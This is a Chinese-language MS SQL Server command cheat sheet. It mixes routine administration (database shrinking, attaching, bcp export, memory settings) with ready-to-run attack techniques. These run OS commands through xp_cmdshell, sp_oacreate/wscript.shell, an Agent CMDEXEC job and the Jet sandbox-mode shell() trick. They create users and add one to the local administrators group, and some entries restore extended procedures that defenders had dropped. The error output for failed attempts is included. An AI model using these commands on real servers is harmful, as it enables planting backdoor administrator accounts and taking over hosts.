重设密码

exec sp_password null,'新密码','sa'

执行系统命令

(1)exec xp_cmdshell '要执行的命令'

(2)declare @shell int
exec sp_oacreate 'wscript.shell',@shell out

exec sp_oamethod @shell ,'run',null,'要执行的系统命令'
exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c net user kkk zzz /add'
exec sp_oamethod @shell ,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators kkk /add'

(3)use msdb;
exec sp_add_job @job_name='ok1'; exec sp_add_jobstep @job_name='ok1',@step_name = 'okok',@subsystem='CMDEXEC',@command='net user ok 123 /add'; exec sp_add_jobserver @job_name = 'ok1',@server_name = 'WWW-84937FCF932'; exec sp_start_job @job_name='ok1'

(4)exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',0--开启沙盘模式

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'--查看沙盘模式的状态 Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 321 /add")');--建立一个用户名为123的用户

1.如果沙盒保护模式未“关闭”,会报错: 服务器: 消息 7357,级别 16,状态 2,行 1 未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。 OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

2.如果.mdb不存在或是输入路径错误 服务器: 消息 7399,级别 16,状态 1,行 1 OLE DB 提供程序 'microsoft.jet.oledb.4.0' 报错。 [OLE/DB provider returned message: 找不到文件 'C:WINDOWSsystem32iasdnary1.mdb'。] OLE DB 错误跟踪[OLE/DB Provider 'microsoft.jet.oledb.4.0' IDBInitialize::Initialize returned 0x80004005: ]。

3.如果输入过程中多了一些空格,也会报错。尤其要注意这点,很多人直接网上找文章复制粘贴进去执行。 服务器: 消息 7357,级别 16,状态 2,行 1 未能处理对象 'select shell("cmd.exe /c net user user passwd /add")'。OLE DB 提供程序 'microsoft.jet.oledb.4.0' 指出该对象中没有任何列。 OLE DB 错误跟踪[Non-interface error: OLE DB provider unable to process object, since the object has no columnsProviderName='microsoft.jet.oledb.4.0', Query=select shell("cmd.exe /c net user user passwd /add")']。

4.如果mdb权限和cmd.exe权限不对,同样会也出现问题。 当mdb权限不对时, 服务器: 消息 7320,级别 16,状态 2,行 1 未能对 OLE DB 提供程序 'Microsoft.Jet.OLEDB.4.0' 执行查询。 [OLE/DB provider returned message: 未知] OLE DB 错误跟踪[OLE/DB Provider 'Microsoft.Jet.OLEDB.4.0' ICommandText::Execute returned 0x80040e14]

查看用户权限

sp_helprotect null,'用户名'

打开sql2005的xp_cmdshell

-- 允许配置高级选项 EXEC sp_configure 'show advanced options', 1 GO -- 重新配置 RECONFIGURE GO -- 启用xp_cmdshell EXEC sp_configure 'xp_cmdshell', 1

GO --重新配置 RECONFIGURE GO

--执行想要的xp_cmdshell语句 Exec xp_cmdshell 'query user' GO

--用完后,要记得将xp_cmdshell禁用(从安全角度安全考虑)

-- 禁用xp_cmdshell EXEC sp_configure 'xp_cmdshell', 0 GO --重新配置 RECONFIGURE GO -- 禁用配置高级选项 EXEC sp_configure 'show advanced options', 0 GO -- 重新配置 RECONFIGURE GO

查看mssql操作日志

SELECT * FROM fn_dblog(null,null)

附加数据库的命令

oSQL -U sa -P (回车) 1> sp_attach_db @dbname = N'xxx', 2>@filename1 = N'x:\xxx\xxx\xxx.mdf', 3>@filename2 = N'x:\xxx\xxx\xxx.ldf'; 4>go

收缩数据库

dbcc shrinkdatabase('db_name')

扩展数据库文件

alter database db_customsms add file(NAME=db_customsms_data,FILENAME='D:\MSDE\MSSQL\Data\db_customsms_data3.mdf')

导出表中的数据为txt

bcp "Northwind.dbo.Customers" out "d:\customers.txt" -c -Usa -Psa

bcp "select * from Northwind" queryout "d:\customers.txt" -c -Usa -Psa

删除xp_cmdshell

EXEC sp_dropextendedproc 'xp_cmdshell'

恢复xp_cmdshell

EXEC sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

获取当前服务器系统时间

select getdate() from 任意一张表的名称

恢复xp_cmdshell

dbcc addextendedproc ("xp_cmdshell","xplog70.dll")

查看数据库连接

select @@connections

exec sp_who 'active'

增加mssql缓存

exec sp_configure 'show advanced options',1

reconfigure

exec sp_configure 'max server memory',512

reconfigure

查看当前所使用数据库所在的路径

select * from sysfiles;

恢复sp_addextendedproc语句: create procedure sp_addextendedproc --- 1996/08/30 20:13 @functname nvarchar(517),/* (owner.)name of function to call / @dllname varchar(255)/ name of DLL containing function */ as set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return (1) end dbcc addextendedproc( @functname, @dllname) return (0) -- sp_addextendedproc GO 恢复sp_dropextendedproc 语句: create procedure dbo.sp_dropextendedproc @functname nvarchar(517) -- name of function as -- If we're in a transaction, disallow the dropping of the -- extended stored procedure. set implicit_transactions off if @@trancount > 0 begin raiserror(15002,-1,-1,'sys.sp_dropextendedproc') return (1) end

-- Drop the extended procedure mapping. dbcc dropextendedproc( @functname ) return (0) -- sp_dropextendedproc 恢复 sp_OACreate 语句

exec sp_addextendedproc sp_OACreate,'odsole70.dll'

替换记录中的字符

REPLACE ( original-string, search-string, replace-string )

这个函数有一点不足是不支持 text,ntext类型字段的替换,可以通过下面的语句来实现: update tableName set recordName=replace(cast(recordName as varchar(8000)) ,'abc','ddd')

导出execl表格

exec xp_cmdshell 'bcp "select *或列名1,列名2 from 库名.所有者.表名" queryout "c:\文件名.xls" -c -q -S "主机名" -U "用户名" -P "密码"'

装sql server sp4时,出现以前进行的程序安装创建了挂起的文件操作.运行程序之前,必须重新起动计算机

         在安装Sql或sp补丁的时候系统提示之前有挂起的安装操作,要求重启,这里往往重启无用,解决办法:到HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager  删除PendingFileRenameOperations.